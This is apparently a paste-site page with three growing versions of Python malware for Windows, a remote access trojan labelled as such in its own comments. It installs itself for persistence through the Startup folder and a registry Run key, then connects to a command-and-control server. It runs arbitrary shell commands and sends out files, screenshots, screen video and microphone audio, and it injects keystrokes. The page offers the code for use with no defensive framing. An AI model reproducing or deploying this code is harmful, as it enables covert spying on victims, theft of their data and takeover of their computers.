Untitled
unknown
plain_text
a year ago
14 kB
7
Indexable
import socket import subprocess import os import shutil import base64 import winreg as reg # Set up the connection with your command and control server SERVER_HOST = "your_server_ip" SERVER_PORT = your_server_port def persist(): # Copy the malware to the Windows directory malware_path = os.path.abspath(__file__) shutil.copy(malware_path, os.path.join(os.environ["APPDATA"], "Microsoft", "Windows", "Start Menu", "Programs", "Startup", "malware.pyw")) def add_to_registry(): # Add the malware to the Windows registry for persistence key = reg.HKEY_CURRENT_USER key_value = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" with reg.OpenKey(key, key_value, 0, reg.KEY_ALL_ACCESS) as reg_key: reg.SetValueEx(reg_key, "Malware", 0, reg.REG_SZ, os.path.join(os.environ["APPDATA"], "Microsoft", "Windows", "Start Menu", "Programs", "Startup", "malware.pyw")) def connect(): while True: try: # Connect to the command and control server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((SERVER_HOST, SERVER_PORT)) break except: continue while True: # Receive the command from the server command = s.recv(1024).decode() if command.lower() == "exit": # Exit the connection break elif command.lower().startswith("cd"): # Change directory command os.chdir(command[3:].strip()) elif command.lower().startswith("download"): # Download a file from the server filename = command.split()[1] with open(filename, "rb") as file: file_data = file.read() encoded_data = base64.b64encode(file_data).decode() s.send(encoded_data.encode()) else: # Execute shell command output = subprocess.run(command, shell=True, capture_output=True) if output.returncode == 0: s.send(output.stdout) else: s.send(output.stderr) s.close() # Add persistence to the system persist() add_to_registry() # Connect to the command and control server connect() import socket import subprocess import os import shutil import base64 import winreg as reg import pyautogui import cv2 import numpy as np import pyaudio import wave import mss import keyboard # Set up the connection with your command and control server SERVER_HOST = "your_server_ip" SERVER_PORT = your_server_port def persist(): # Copy the malware to the Windows directory malware_path = os.path.abspath(__file__) shutil.copy(malware_path, os.path.join(os.environ["APPDATA"], "Microsoft", "Windows", "Start Menu", "Programs", "Startup", "malware.pyw")) def add_to_registry(): # Add the malware to the Windows registry for persistence key = reg.HKEY_CURRENT_USER key_value = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" with reg.OpenKey(key, key_value, 0, reg.KEY_ALL_ACCESS) as reg_key: reg.SetValueEx(reg_key, "Malware", 0, reg.REG_SZ, os.path.join(os.environ["APPDATA"], "Microsoft", "Windows", "Start Menu", "Programs", "Startup", "malware.pyw")) def connect(): while True: try: # Connect to the command and control server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((SERVER_HOST, SERVER_PORT)) break except: continue while True: # Receive the command from the server command = s.recv(1024).decode() if command.lower() == "exit": # Exit the connection break elif command.lower().startswith("cd"): # Change directory command os.chdir(command[3:].strip()) elif command.lower().startswith("download"): # Download a file from the server filename = command.split()[1] with open(filename, "rb") as file: file_data = file.read() encoded_data = base64.b64encode(file_data).decode() s.send(encoded_data.encode()) elif command.lower() == "screenshot": # Capture a screenshot and send it to the server with mss.mss() as sct: screenshot = sct.grab(sct.monitors[1]) data = np.array(screenshot) encoded_img = base64.b64encode(data.tobytes()).decode() s.send(encoded_img.encode()) elif command.lower() == "record_screen": # Record the screen and send the video file to the server fourcc = cv2.VideoWriter_fourcc(*"XVID") out = cv2.VideoWriter("screen_recording.avi", fourcc, 30.0, (1920, 1080)) while True: screenshot = pyautogui.screenshot() frame = np.array(screenshot) frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) out.write(frame) if keyboard.is_pressed("q"): break out.release() with open("screen_recording.avi", "rb") as vid_file: vid_data = vid_file.read() encoded_vid = base64.b64encode(vid_data).decode() s.send(encoded_vid.encode()) os.remove("screen_recording.avi") elif command.lower() == "record_audio": # Record audio using the microphone and send the audio file to the server CHUNK = 1024 FORMAT = pyaudio.paInt16 CHANNELS = 2 RATE = 44100 RECORD_SECONDS = 10 WAVE_OUTPUT_FILENAME = "audio_recording.wav" audio = pyaudio.PyAudio() stream = audio.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, frames_per_buffer=CHUNK) frames = [] for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)): data = stream.read(CHUNK) frames.append(data) stream.stop_stream() stream.close() audio.terminate() wave_file = wave.open(WAVE_OUTPUT_FILENAME, "wb") wave_file.setnchannels(CHANNELS) wave_file.setsampwidth(audio.get_sample_size(FORMAT)) wave_file.setframerate(RATE) wave_file.writeframes(b"".join(frames)) wave_file.close() with open(WAVE_OUTPUT_FILENAME, "rb") as audio_file: audio_data = audio_file.read() encoded_audio = base64.b64encode(audio_data).decode() s.send(encoded_audio.encode()) os.remove(WAVE_OUTPUT_FILENAME) elif command.lower().startswith("keyboard"): # Send keyboard commands to the infected system keyboard_commands = command.split()[1:] for keyboard_command in keyboard_commands: keyboard.write(keyboard_command) else: # Execute shell command output = subprocess.run(command, shell=True, capture_output=True) if output.returncode == 0: s.send(output.stdout) else: s.send(output.stderr) s.close() # Add persistence to the system persist() add_to_registry() # Connect to the command and control server connect() import socket import subprocess import os import shutil import base64 import winreg as reg import pyautogui import cv2 import numpy as np import pyaudio import wave import mss import keyboard # Set up the connection with your command and control server SERVER_HOST = "your_server_ip" SERVER_PORT = your_server_port def persist(): # Copy the malware to the Windows directory malware_path = os.path.abspath(__file__) shutil.copy(malware_path, os.path.join(os.environ["APPDATA"], "Microsoft", "Windows", "Start Menu", "Programs", "Startup", "malware.pyw")) def add_to_registry(): # Add the malware to the Windows registry for persistence key = reg.HKEY_CURRENT_USER key_value = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" with reg.OpenKey(key, key_value, 0, reg.KEY_ALL_ACCESS) as reg_key: reg.SetValueEx(reg_key, "Malware", 0, reg.REG_SZ, os.path.join(os.environ["APPDATA"], "Microsoft", "Windows", "Start Menu", "Programs", "Startup", "malware.pyw")) def connect(): while True: try: # Connect to the command and control server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((SERVER_HOST, SERVER_PORT)) break except: continue while True: # Receive the command from the server command = s.recv(1024).decode() if command.lower() == "exit": # Exit the connection break elif command.lower().startswith("cd"): # Change directory command os.chdir(command[3:].strip()) elif command.lower().startswith("download"): # Download a file from the server filename = command.split()[1] with open(filename, "rb") as file: file_data = file.read() encoded_data = base64.b64encode(file_data).decode() s.send(encoded_data.encode()) elif command.lower() == "screenshot": # Capture a screenshot and send it to the server with mss.mss() as sct: screenshot = sct.grab(sct.monitors[1]) data = np.array(screenshot) encoded_img = base64.b64encode(data.tobytes()).decode() s.send(encoded_img.encode()) elif command.lower() == "record_screen": # Record the screen and send the video file to the server fourcc = cv2.VideoWriter_fourcc(*"XVID") out = cv2.VideoWriter("screen_recording.avi", fourcc, 30.0, (1920, 1080)) while True: screenshot = pyautogui.screenshot() frame = np.array(screenshot) frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) out.write(frame) if keyboard.is_pressed("q"): break out.release() with open("screen_recording.avi", "rb") as vid_file: vid_data = vid_file.read() encoded_vid = base64.b64encode(vid_data).decode() s.send(encoded_vid.encode()) os.remove("screen_recording.avi") elif command.lower() == "record_audio": # Record audio using the microphone and send the audio file to the server CHUNK = 1024 FORMAT = pyaudio.paInt16 CHANNELS = 2 RATE = 44100 RECORD_SECONDS = 10 WAVE_OUTPUT_FILENAME = "audio_recording.wav" audio = pyaudio.PyAudio() stream = audio.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, frames_per_buffer=CHUNK) frames = [] for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)): data = stream.read(CHUNK) frames.append(data) stream.stop_stream() stream.close() audio.terminate() wave_file = wave.open(WAVE_OUTPUT_FILENAME, "wb") wave_file.setnchannels(CHANNELS) wave_file.setsampwidth(audio.get_sample_size(FORMAT)) wave_file.setframerate(RATE) wave_file.writeframes(b"".join(frames)) wave_file.close() with open(WAVE_OUTPUT_FILENAME, "rb") as audio_file: audio_data = audio_file.read() encoded_audio = base64.b64encode(audio_data).decode() s.send(encoded_audio.encode()) os.remove(WAVE_OUTPUT_FILENAME) elif command.lower().startswith("keyboard"): # Send keyboard commands to the infected system keyboard_commands = command.split()[1:] for keyboard_command in keyboard_commands: keyboard.write(keyboard_command) elif command.lower() == "custom_shell": # Custom shell for executing commands s.send("Custom shell activated. Enter commands:".encode()) while True: shell_command = s.recv(1024).decode() if shell_command.lower() == "exit": break output = subprocess.run(shell_command, shell=True, capture_output=True) if output.returncode == 0: s.send(output.stdout) else: s.send(output.stderr) else: # Execute shell command output = subprocess.run(command, shell=True, capture_output=True) if output.returncode == 0: s.send(output.stdout) else: s.send(output.stderr) s.close() # Add persistence to the system persist() add_to_registry() # Connect to the command and control server connect()
Editor is loading...
Leave a Comment